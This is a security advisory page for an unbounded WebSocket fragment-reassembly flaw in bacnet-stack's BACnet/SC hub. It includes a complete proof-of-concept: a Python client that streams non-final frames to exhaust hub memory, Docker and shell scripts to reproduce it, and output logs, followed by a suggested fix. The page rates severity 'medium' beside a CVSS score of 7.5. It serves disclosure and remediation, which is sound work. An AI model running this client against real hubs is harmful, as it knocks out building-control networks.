← Back to CVE List
CVE-2026-100403NVD
Vulnerability Summary
## Summary The BACnet/SC hub's Linux WebSocket server reassembles fragmented WebSocket messages into a per-connection `fragment_buffer`. It grows that buffer with `realloc()` on every non-final frame, with no upper bound. A peer that streams binary continuation fragments and never sets FIN keeps the hub reallocating until the box runs out of memory or the process is OOM-killed. The buffer starts at the maximum legal BVLC-SC NPDU size, but nothing after that ties its growth back to that limit. Reachable from any peer that can bring up a `wss://` connection to the hub. Per ICS-189 the hub accepts the connection without a valid client certificate, so this is effectively pre-auth. Affected version - Target: bacnet-stack v1.6.0-rc1 - Commit read: `1068250f197c0cc78b6357374d8be5df7d94b3cc` - Bug is in library port code: `ports/linux/websocket-srv.c`, function `bws_srv_websocket_event()`. Root cause On the first fragment of a message `fragment_buffer` is `malloc()`'d to `BSC_RX_BUFFER_LEN` and `fragment_buffer_size` is set to the same value (line 449 and 463). From then on, each `LWS_CALLBACK_RECEIVE` appends the incoming `len` bytes. The only thing guarding the append is a check that the running length plus the new bytes exceeds the current allocation: `ports/linux/websocket-srv.c:465` ```c if (ctx->conn[h].fragment_buffer_len + len > ctx->conn[h].fragment_buffer_size) { ``` When it does, the buffer is grown to exactly the new required size: `ports/linux/websocket-srv.c:473` ```c ctx->conn[h].fragment_buffer = realloc( ctx->conn[h].fragment_buffer, ctx->conn[h].fragment_buffer_len + len); ``` There is no comparison against `BSC_RX_BUFFER_LEN` or the BVLC-SC maximum message size on this path. `fragment_buffer_len` only resets to 0 once a final (FIN) frame completes a message. A peer that keeps sending non-final binary frames never reaches that reset, so `fragment_buffer_len` climbs monotonically and the `realloc()` above tracks it, one enlargement per frame, until allocation fails. Proof of Concept Self-contained. `docker build` clones the target at the pinned commit and builds it under AddressSanitizer + UndefinedBehaviorSanitizer; `docker run` feeds the crafted input and reproduces the fault. Save the files below into a `poc/` directory and: ``` docker build -t poc . && docker run --rm poc ``` <details> <summary>attack_client.py (crafted input)</summary> ```python !/usr/bin/env python3 """ attack_client.py -- ICS-302 unbounded WebSocket fragment reassembly DoS PoC. Drives the REAL BACnet/SC hub receive path (bws_srv_websocket_event(), LWS_CALLBACK_RECEIVE, ports/linux/websocket-srv.c:416-517) over a real wss:// TLS WebSocket connection. It speaks raw RFC 6455 WebSocket framing itself (stdlib socket+ssl only, no 'websockets' package) specifically so it has full control over the FIN bit on every single frame -- the one thing a normal client library will not let you withhold indefinitely. Two phases: 1. handshake_bvlc_sc() completes ONE legitimate, fully-finalized (FIN=1) BVLC-SC Connect-Request (AB.2.10.1, encoding lifted from ICS-189's rogue_client.py) with NO client certificate. This moves the connection out of BSC_SOCK_STATE_AWAITING_REQUEST (which src/bacnet/datalink/bsc/ bsc-socket.c kills after SC_NETPORT_CONNECT_TIMEOUT = 5s, src/bacnet/basic/object/sc_netport.h:29 -- a handshake-completion timeout, unrelated to reassembly size) into BSC_SOCK_STATE_CONNECTED, where the only remaining liveness check is the heartbeat timer (SC_NETPORT_HEARTBEAT_TIMEOUT = 60s, doubled for the acceptor side to 120s, bsc-socket.c:669). This is what a real BACnet/SC hub member does on every connection, and confirms the 5-second cutoff seen with a raw flood is a handshake-completion timeout, not any defense against oversized messages. 2. flood_fragments() then sends an unbounded stream of BINARY WebSocket frames that never set FIN: - frame 0: opcode=0x2 (binary), FIN=0 -- starts a fragmented message - frame 1..N: opcode=0x0 (continuation), FIN=0 -- never finalized Per ports/linux/websocket-srv.c:447-488, on the first frame of a connection the hub mallocs fragment_buffer to BSC_RX_BUFFER_LEN (BVLC_SC_NPDU_SIZE_CONF, ~1500 bytes: the max legal BVLC-SC NPDU). Every subsequent LWS_CALLBACK_RECEIVE then does: if (fragment_buffer_len + len > fragment_buffer_size) { fragment_buffer = realloc(fragment_buffer, fragment_buffer_len + len); fragment_buffer_size = fragment_buffer_len + len; } memcpy(&fragment_buffer[fragment_buffer_len], in, len); fragment_buffer_len += len; with NO check against BSC_RX_BUFFER_LEN or any BVLC-SC maximum message size -- the reassembly buffer for this one connection grows by realloc() forever as long as we never set FIN. Since we never send a final fragment, fragment_buffer_len is never reset to 0 (that only happens in the lws_is_final_fragment(wsi) branch), so the buffer for this connection is never freed or bounded until the connection is closed, memory runs out, or the process is OOM-killed. No client certificate is presented -- reachable pre-auth (see ICS-189: the hub never sets LWS_SERVER_OPTION_REQUIRE_VALID_OPENSSL_CLIENT_CERT). """ import base64 import os import socket import ssl import struct import sys import time HUB_HOST = "127.0.0.1" HUB_PORT = 50050 HUB_PROTOCOL = "hub.bsc.bacnet.org" # BSC_WEBSOCKET_HUB_PROTOCOL_STR BVLC-SC constants (src/bacnet/datalink/bsc/bvlc-sc.h) BVLC_SC_CONNECT_REQUEST = 0x06 BVLC_SC_CONNECT_ACCEPT = 0x07 def connect_tls(): """Open the TCP+TLS connection with NO client certificate presented.""" ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ssl_ctx.check_hostname = False ssl_ctx.verify_mode = ssl.CERT_NONE # Deliberately no load_cert_chain() -- pre-auth reachable (ICS-189). raw = socket.create_connection((HUB_HOST, HUB_PORT), timeout=10) sock = ssl_ctx.wrap_socket(raw, server_hostname=HUB_HOST) print(f"[] TLS connected to wss://{HUB_HOST}:{HUB_PORT} " f"(cipher={sock.cipher()[0]})", flush=True) return sock def ws_handshake(sock): """Minimal RFC 6455 client handshake -- stdlib only, so we keep full control of the connection afterward for hand-crafted frames.""" key = base64.b64encode(os.urandom(16)).decode() req = ( f"GET / HTTP/1.1\r\n" f"Host: {HUB_HOST}:{HUB_PORT}\r\n" f"Upgrade: websocket\r\n" f"Connection: Upgrade\r\n" f"Sec-WebSocket-Key: {key}\r\n" f"Sec-WebSocket-Version: 13\r\n" f"Sec-WebSocket-Protocol: {HUB_PROTOCOL}\r\n" f"\r\n" ) sock.sendall(req.encode()) resp = b"" while b"\r\n\r\n" not in resp: chunk = sock.recv(4096) if not chunk: raise ConnectionError("hub closed connection during handshake") resp += chunk header = resp.split(b"\r\n\r\n", 1)[0].decode(errors="replace") if " 101 " not in header.splitlines()[0]: raise ConnectionError(f"handshake rejected: {header.splitlines()[0]}") return header def build_frame(opcode, payload, fin): """Build one masked (client->server) RFC 6455 WebSocket frame.""" b0 = (0x80 if fin else 0x00) | (opcode & 0x0F) length = len(payload) if length <= 125: header = struct.pack("!BB", b0, 0x80 | length) elif length <= 0xFFFF: header = struct.pack("!BBH", b0, 0x80 | 126, length) else: header = struct.pack("!BBQ", b0, 0x80 | 127, length) mask_key = os.urandom(4) masked = bytes(b ^ mask_key[i % 4] for i, b in enumerate(payload)) return header + mask_key + masked def build_connect_request(): """Encode a valid, complete BVLC-SC Connect-Request (AB.2.10.1): 4-byte common header + 26-byte payload (vmac + uuid + max_bvlc_len + max_npdu_len), same encoding as ICS-189's rogue_client.py.""" message_id = 1 vmac = bytes([0xde, 0xad, 0xbe, 0xef, 0x00, 0x01]) uuid = bytes([0xaa] 15 + [0x01]) max_bvlc_len = 1440 max_npdu_len = 1440 header = struct.pack("<BBH", BVLC_SC_CONNECT_REQUEST, 0x00, message_id) payload = (vmac + uuid + struct.pack("<H", max_bvlc_len) + struct.pack("<H", max_npdu_len)) return header + payload def handshake_bvlc_sc(sock): """Complete one legitimate Connect-Request/Connect-Accept round trip so the hub moves this connection from BSC_SOCK_STATE_AWAITING_REQUEST (killed after 5s by SC_NETPORT_CONNECT_TIMEOUT) to BSC_SOCK_STATE_CONNECTED (governed only by the much longer heartbeat timeout).""" frame = build_connect_request() sock.sendall(build_frame(0x2, frame, fin=True)) sock.settimeout(5) reply = sock.recv(4096) if len(reply) < 2 or (reply[0] & 0x0F) != 0x2: raise ConnectionError(f"unexpected reply to Connect-Request: {reply.hex()}") payload_start = 2 # small unmasked server frame: opcode/FIN byte, len byte fn = reply[payload_start] if fn != BVLC_SC_CONNECT_ACCEPT: raise ConnectionError(f"hub did not send Connect-Accept: {reply.hex()}") print("[] BVLC-SC handshake complete: hub replied Connect-Accept (0x07), " "connection is now BSC_SOCK_STATE_CONNECTED", flush=True) def flood_fragments(sock, total_mb, chunk_mb): """Stream an unbounded sequence of non-final binary WebSocket frames. FIN is never set, so the hub never finishes reassembling this second BVLC-SC message and fragment_buffer grows by realloc() on every frame.""" chunk = os.urandom(chunk_mb 1024 1024) n_frames = (total_mb + chunk_mb - 1) // chunk_mb print(f"[] Streaming {n_frames} non-final binary frames " f"({chunk_mb} MiB each, {total_mb} MiB total) -- FIN is NEVER set", flush=True) sock.settimeout(None) sent_bytes = 0 t0 = time.time() for i in range(n_frames): opcode = 0x2 if i == 0 else 0x0 # first=BINARY, rest=CONTINUATION frame = build_frame(opcode, chunk, fin=False) sock.sendall(frame) sent_bytes += len(chunk) print(f"SENT {sent_bytes} {time.time() - t0:.2f}", flush=True) print(f"[] Done: sent {sent_bytes} bytes ({sent_bytes / 1e6:.1f} MB) " f"across {n_frames} frames, connection still open, FIN never sent.", flush=True) def main(): total_mb = int(os.environ.get("TOTAL_MB", "400")) chunk_mb = int(os.environ.get("CHUNK_MB", "4")) sock = connect_tls() ws_handshake(sock) print(f"[] WebSocket handshake complete (subprotocol={HUB_PROTOCOL!r})", flush=True) handshake_bvlc_sc(sock) flood_fragments(sock, total_mb, chunk_mb) # Keep the connection open a moment so the sampler can take a final # reading before we exit and the hub frees the (now huge) buffer. time.sleep(2) sock.close() if name == "main": try: main() except Exception as e: print(f"[-] attack_client failed: {e}", file=sys.stderr, flush=True) sys.exit(1) ``` </details> <details> <summary>output.txt (crafted input)</summary> ```text === ICS-302 BACnet/SC unbounded fragment-reassembly DoS PoC === bacschub: bacschub 1.6.0-rc1 [] Starting bacschub on wss://127.0.0.1:50050 ... hub running (pid 10) baseline VmRSS = 9844 kB [] Launching attacker: one wss:// connection, non-final binary CONTINUATION frames streamed with FIN never set (TOTAL_MB=400) [] TLS connected to wss://127.0.0.1:50050 (cipher=TLS_AES_256_GCM_SHA384) [] WebSocket handshake complete (subprotocol='hub.bsc.bacnet.org') [] BVLC-SC handshake complete: hub replied Connect-Accept (0x07), connection is now BSC_SOCK_STATE_CONNECTED [] Streaming 100 non-final binary frames (4 MiB each, 400 MiB total) -- FIN is NEVER set SENT 4194304 0.28 SENT 8388608 0.56 SENT 12582912 0.88 SENT 16777216 1.18 SENT 20971520 1.49 SENT 25165824 1.79 SENT 29360128 2.07 SENT 33554432 2.35 SENT 37748736 2.62 SENT 41943040 2.89 SENT 46137344 3.17 SENT 50331648 3.45 SENT 54525952 3.76 SENT 58720256 4.02 SENT 62914560 4.33 SENT 67108864 4.66 SENT 71303168 4.94 SENT 75497472 5.21 SENT 79691776 5.48 SENT 83886080 5.74 SENT 88080384 6.02 SENT 92274688 6.29 SENT 96468992 6.56 SENT 100663296 6.83 SENT 104857600 7.10 SENT 109051904 7.37 SENT 113246208 7.64 SENT 117440512 7.91 SENT 121634816 8.19 SENT 125829120 8.47 SENT 130023424 8.75 SENT 134217728 9.02 SENT 138412032 9.29 SENT 142606336 9.56 SENT 146800640 9.85 SENT 150994944 10.13 SENT 155189248 10.44 SENT 159383552 10.73 SENT 163577856 11.00 SENT 167772160 11.27 SENT 171966464 11.54 SENT 176160768 11.81 SENT 180355072 12.08 SENT 184549376 12.34 SENT 188743680 12.61 SENT 192937984 12.88 SENT 197132288 13.15 SENT 201326592 13.42 SENT 205520896 13.68 SENT 209715200 13.95 SENT 213909504 14.22 SENT 218103808 14.49 SENT 222298112 14.76 SENT 226492416 15.03 SENT 230686720 15.30 SENT 234881024 15.57 SENT 239075328 15.85 SENT 243269632 16.12 SENT 247463936 16.39 SENT 251658240 16.66 SENT 255852544 16.93 SENT 260046848 17.19 SENT 264241152 17.46 SENT 268435456 17.74 SENT 272629760 18.05 SENT 276824064 18.31 SENT 281018368 18.58 SENT 285212672 18.86 SENT 289406976 19.15 SENT 293601280 19.44 SENT 297795584 19.73 SENT 301989888 20.00 SENT 306184192 20.29 SENT 310378496 20.56 SENT 314572800 20.85 SENT 318767104 21.12 SENT 322961408 21.39 SENT 327155712 21.68 SENT 331350016 21.96 SENT 335544320 22.23 SENT 339738624 22.51 SENT 343932928 22.78 SENT 348127232 23.09 SENT 352321536 23.39 SENT 356515840 23.66 SENT 360710144 23.96 SENT 364904448 24.26 SENT 369098752 24.53 SENT 373293056 24.80 SENT 377487360 25.06 SENT 381681664 25.33 SENT 385875968 25.60 SENT 390070272 25.87 SENT 394264576 26.13 SENT 398458880 26.40 SENT 402653184 26.68 SENT 406847488 26.96 SENT 411041792 27.22 SENT 415236096 27.49 SENT 419430400 27.76 [] Done: sent 419430400 bytes (419.4 MB) across 100 frames, connection still open, FIN never sent. === RSS growth over time (bacschub pid 10) === t_sec VmRSS_kB 0.0 9844 1.0 23060 2.0 35348 3.0 51732 4.0 64020 5.0 80404 6.0 92692 7.0 109076 8.0 125460 9.0 137748 10.0 154132 11.0 169520 12.0 182804 13.0 199188 14.0 215572 15.1 227860 16.1 244244 17.1 260628 18.1 272916 19.1 289300 20.1 305684 21.1 317972 22.1 334356 23.1 346644 24.1 363028 25.1 375316 26.1 391700 27.1 408084 28.1 420372 29.1 420372 30.1 10768 baseline VmRSS : 9844 kB peak VmRSS : 420372 kB final VmRSS : 10768 kB growth : 410528 kB (400 MB) === hub server log (tail) === === RESULT: PASS -- hub RSS grew 410528 kB (~400 MB) from a single non-final-fragment WebSocket stream, with no cap tied to BSC_RX_BUFFER_LEN or the BVLC-SC max message size. Unbounded remote memory-exhaustion DoS confirmed live against ports/linux/websocket-srv.c bws_srv_websocket_event(). ``` </details> <details> <summary>build.sh</summary> ```sh !/bin/bash build.sh -- ICS-302 PoC setup (runs at image build time, cwd = /poc). bacschub is already built by the Dockerfile at $LIB/bin/bacschub. There is no harness to compile here (the vulnerable code, bws_srv_websocket_event() in ports/linux/websocket-srv.c, is driven live over the real wss:// wire). build.sh only mints the CA + hub cert/key the live hub needs. Certs MUST be relative paths: bacschub runs filename_path_valid() (src/bacnet/basic/sys/filename.c) which rejects absolute paths. They are generated under /poc/certs and the hub is launched from /poc in run.sh. set -euo pipefail : "${LIB:=/src}" HUB_BIN="$LIB/bin/bacschub" if [ ! -x "$HUB_BIN" ]; then echo "ERROR: $HUB_BIN not found -- the Dockerfile should have built it" >&2 exit 1 fi echo "[build] bacschub present: $HUB_BIN" echo "[build] generating CA + hub cert/key..." bash gen_certs.sh echo "[build] done." ``` </details> <details> <summary>run.sh</summary> ```sh !/bin/bash run.sh -- ICS-302 BACnet/SC hub unbounded fragment-reassembly DoS PoC. docker build -t poc . docker run --rm poc Starts the real bacschub BACnet/SC hub on wss://127.0.0.1:50050, then runs attack_client.py, which opens ONE real wss:// connection and streams binary WebSocket CONTINUATION frames that never set FIN. Meanwhile this script samples the hub process's VmRSS from /proc/<pid>/status once per second. Bug: ports/linux/websocket-srv.c bws_srv_websocket_event(), LWS_CALLBACK_RECEIVE (lines 465-488): fragment_buffer is realloc()'d by fragment_buffer_len + len on every receive with no upper bound tied to BSC_RX_BUFFER_LEN or the BVLC-SC max message size -- so RSS grows in lockstep with attacker-controlled bytes sent, without limit, for the life of the connection. set -uo pipefail : "${LIB:=/src}" HUB_BIN="$LIB/bin/bacschub" HUB_LOG=/tmp/hub_ics302.log RSS_LOG=/tmp/rss_ics302.log ATTACK_LOG=/tmp/attack_ics302.log cd /poc # relative cert paths required by filename_path_valid() : > "$RSS_LOG" echo "=== ICS-302 BACnet/SC unbounded fragment-reassembly DoS PoC ===" echo "bacschub: $("$HUB_BIN" --version 2>/dev/null | head -1 || true)" echo "" echo "[] Starting bacschub on wss://127.0.0.1:50050 ..." BACNET_SC_PRIMARY_HUB_URI="wss://127.0.0.1:50050" \ BACNET_SC_FAILOVER_HUB_URI="wss://127.0.0.1:50050" \ BACNET_SC_ISSUER_1_CERTIFICATE_FILE="certs/ca_cert.pem" \ BACNET_SC_OPERATIONAL_CERTIFICATE_FILE="certs/server_cert.pem" \ BACNET_SC_OPERATIONAL_CERTIFICATE_PRIVATE_KEY_FILE="certs/server_key.pem" \ BACNET_SC_HUB_FUNCTION_BINDING="50050" \ "$HUB_BIN" --instance 1 > "$HUB_LOG" 2>&1 & HUB_PID=$! cleanup() { kill "$HUB_PID" 2>/dev/null || true; kill "$MON_PID" 2>/dev/null || true; } trap cleanup EXIT sleep 3 if ! kill -0 "$HUB_PID" 2>/dev/null; then echo "ERROR: bacschub exited early" >&2 cat "$HUB_LOG" >&2 exit 1 fi echo " hub running (pid $HUB_PID)" BASELINE_KB=$(awk '/VmRSS/{print $2}' /proc/"$HUB_PID"/status) echo " baseline VmRSS = ${BASELINE_KB} kB" echo "" --- background RSS sampler: 1 sample/sec for the life of the hub process --- ( while kill -0 "$HUB_PID" 2>/dev/null; do ts=$(date +%s.%N) rss=$(awk '/VmRSS/{print $2}' /proc/"$HUB_PID"/status 2>/dev/null) [ -n "$rss" ] && echo "$ts $rss" sleep 1 done ) > "$RSS_LOG" & MON_PID=$! echo "[] Launching attacker: one wss:// connection, non-final binary" echo " CONTINUATION frames streamed with FIN never set (TOTAL_MB=${TOTAL_MB:-400})" echo "" python3 attack_client.py > "$ATTACK_LOG" 2>&1 ATTACK_RC=$? cat "$ATTACK_LOG" echo "" One more sample right after the flood finishes, before the sampler notices the hub may have exited/be idle. sleep 1 FINAL_KB=$(awk '/VmRSS/{print $2}' /proc/"$HUB_PID"/status 2>/dev/null || echo "$BASELINE_KB") kill "$MON_PID" 2>/dev/null || true wait "$MON_PID" 2>/dev/null PEAK_KB=$(awk '{print $2}' "$RSS_LOG" | sort -n | tail -1) [ -z "$PEAK_KB" ] && PEAK_KB=$BASELINE_KB echo "=== RSS growth over time (bacschub pid $HUB_PID) ===" echo "t_sec VmRSS_kB" awk -v t0="$(head -1 "$RSS_LOG" | awk '{print $1}')" \ '{printf "%-8.1f %s\n", $1 - t0, $2}' "$RSS_LOG" echo "" echo "baseline VmRSS : ${BASELINE_KB} kB" echo "peak VmRSS : ${PEAK_KB} kB" echo "final VmRSS : ${FINAL_KB} kB" GROWTH_KB=$((PEAK_KB - BASELINE_KB)) echo "growth : ${GROWTH_KB} kB ($((GROWTH_KB / 1024)) MB)" echo "" echo "=== hub server log (tail) ===" tail -20 "$HUB_LOG" echo "" PASS bar: this is a DoS/resource-exhaustion proof, not a crash. Declare reproduced if the connection survived the entire flood (attacker script exited 0, i.e. the hub never closed/rejected it) AND the hub's RSS grew by a large, unbounded-looking multiple of the initial ~1.5 KB BVLC-SC reassembly buffer (BSC_RX_BUFFER_LEN) with no cap ever kicking in. if [ "$ATTACK_RC" -eq 0 ] && [ "$GROWTH_KB" -gt 100000 ]; then echo "=== RESULT: PASS -- hub RSS grew ${GROWTH_KB} kB (~$((GROWTH_KB / 1024)) MB) from a single" echo " non-final-fragment WebSocket stream, with no cap tied to BSC_RX_BUFFER_LEN" echo " or the BVLC-SC max message size. Unbounded remote memory-exhaustion DoS" echo " confirmed live against ports/linux/websocket-srv.c bws_srv_websocket_event()." exit 0 fi echo "=== RESULT: FAIL -- did not observe unbounded growth (attack_rc=$ATTACK_RC growth_kb=$GROWTH_KB) ===" >&2 exit 1 ``` </details> <details> <summary>Dockerfile</summary> ```dockerfile Self-contained reproducer image for ICS-302 (BACnet/SC hub unbounded WebSocket fragment reassembly -> remote memory-exhaustion DoS). Clones bacnet-stack at the exact commit the finding was verified against and builds the BACnet/SC hub demo (bacschub) with the upstream Makefile, exactly as used to build the ICS-189 sibling finding against the same binary/entry point (ports/linux/websocket-srv.c bws_srv_websocket_event()). docker build -t poc . docker run --rm poc This is an availability/DoS bug (CWE-400), not a memory-safety crash, so the hub is built WITHOUT ASan/UBSan: sanitizer allocators change allocation behavior (redzones, quarantine, replacement malloc) and would not honestly reproduce the stock-glibc-malloc memory-growth signature a real deployment would see. A plain release build is the correct reproducer here. FROM ubuntu:24.04 Pinned in ICS-302's finding.json (target.commit), bacnet-stack v1.6.0-rc1. ARG COMMIT=1068250f197c0cc78b6357374d8be5df7d94b3cc ENV DEBIAN_FRONTEND=noninteractive LIB=/src build deps: gcc/make for bacschub, libwebsockets-dev + libssl-dev for the BACnet/SC datalink port, openssl to mint the PoC certs. The attack client and RSS sampler use only the python3 standard library (socket/ssl/os) -- no extra pip packages needed since we speak raw WebSocket framing to get full control over the FIN bit on every frame. RUN apt-get update && apt-get install -y --no-install-recommends \ git ca-certificates build-essential make cmake \ libwebsockets-dev libssl-dev openssl \ python3 \ procps \ && rm -rf /var/lib/apt/lists/ RUN git clone https://github.com/bacnet-stack/bacnet-stack /src \ && git -C /src checkout "$COMMIT" Build the BACnet/SC demo (lands at /src/bin/bacschub). This is the shipping reference BACnet/SC transport on Linux (ports/linux/websocket-{srv,cli}.c), the real bws_srv_websocket_event() reassembly code from the finding. WORKDIR /src RUN make BACDL=bsc BACNET_PORT=linux sc-hub && test -x /src/bin/bacschub WORKDIR /poc COPY . /poc RUN bash build.sh CMD ["bash", "run.sh"] ``` </details> <details> <summary>gen_certs.sh</summary> ```sh !/bin/bash gen_certs.sh -- generate CA + hub operational cert/key for the PoC. Mirrors the paths expected by bin/bsc-server.sh (same as ICS-189's PoC). set -euo pipefail mkdir -p certs echo "[+] Generating CA key and self-signed certificate..." openssl genrsa -out certs/ca_key.pem 2048 2>/dev/null openssl req -new -x509 -days 3650 \ -key certs/ca_key.pem \ -out certs/ca_cert.pem \ -subj "/CN=BACnet-SC-Test-CA/O=PoC/C=US" echo "[+] Generating hub server key..." openssl genrsa -out certs/server_key.pem 2048 2>/dev/null echo "[+] Generating hub server CSR..." openssl req -new \ -key certs/server_key.pem \ -out certs/server_csr.pem \ -subj "/CN=bacnet-sc-hub/O=PoC/C=US" echo "[+] Signing hub cert with CA..." openssl x509 -req -days 365 \ -in certs/server_csr.pem \ -CA certs/ca_cert.pem \ -CAkey certs/ca_key.pem \ -CAcreateserial \ -out certs/server_cert.pem 2>/dev/null echo "[+] Certs written to certs/:" ls -la certs/ ``` </details> Impact Remote memory-exhaustion denial of service (CWE-400). A single connection streaming attacker-chosen bytes with FIN withheld drives hub RSS up roughly 1:1 with the bytes sent, capped only by available memory. The live PoC drove a real `bacschub` from 9.8 MB to 420 MB across 100 fragments (419 MB) in about 27 seconds. Memory dropped back to ~10 MB only when the connection closed, which confirms `fragment_buffer` is the growth driver. There is no memory corruption and no code execution here. This is availability only, so the rating is medium. Severity: medium. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The same uncapped `realloc()` reassembly exists on the client side in `ports/linux/websocket-cli.c` (around lines 310-324) and in the win32 and bsd copies of these ports, so a fix should cover all of them. Suggested fix Bound the reassembly buffer. Before growing it, reject the message once `fragment_buffer_len + len` would exceed `BSC_RX_BUFFER_LEN` (the maximum legal BVLC-SC NPDU), and close the connection with `LWS_CLOSE_STATUS_MESSAGE_TOO_LARGE` instead of calling `realloc()`. The close path is already used a few lines down when `realloc()` returns NULL, so the handling is in place. It just needs to trigger on the size limit rather than only on allocation failure. Remediation Checked the fragmented length in each port, incorporated the suggested fix, and performed regression testing in PR #1433.
CVSS v3.1 Base Metrics — Score 7.5
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityNone
IntegrityNone
AvailabilityHigh
Affected & Patched Versions
- bacnet-stack <= 1.6.0
- bacnet-stack 1.4.6, 1.5.2, 1.6.1, 1.7.0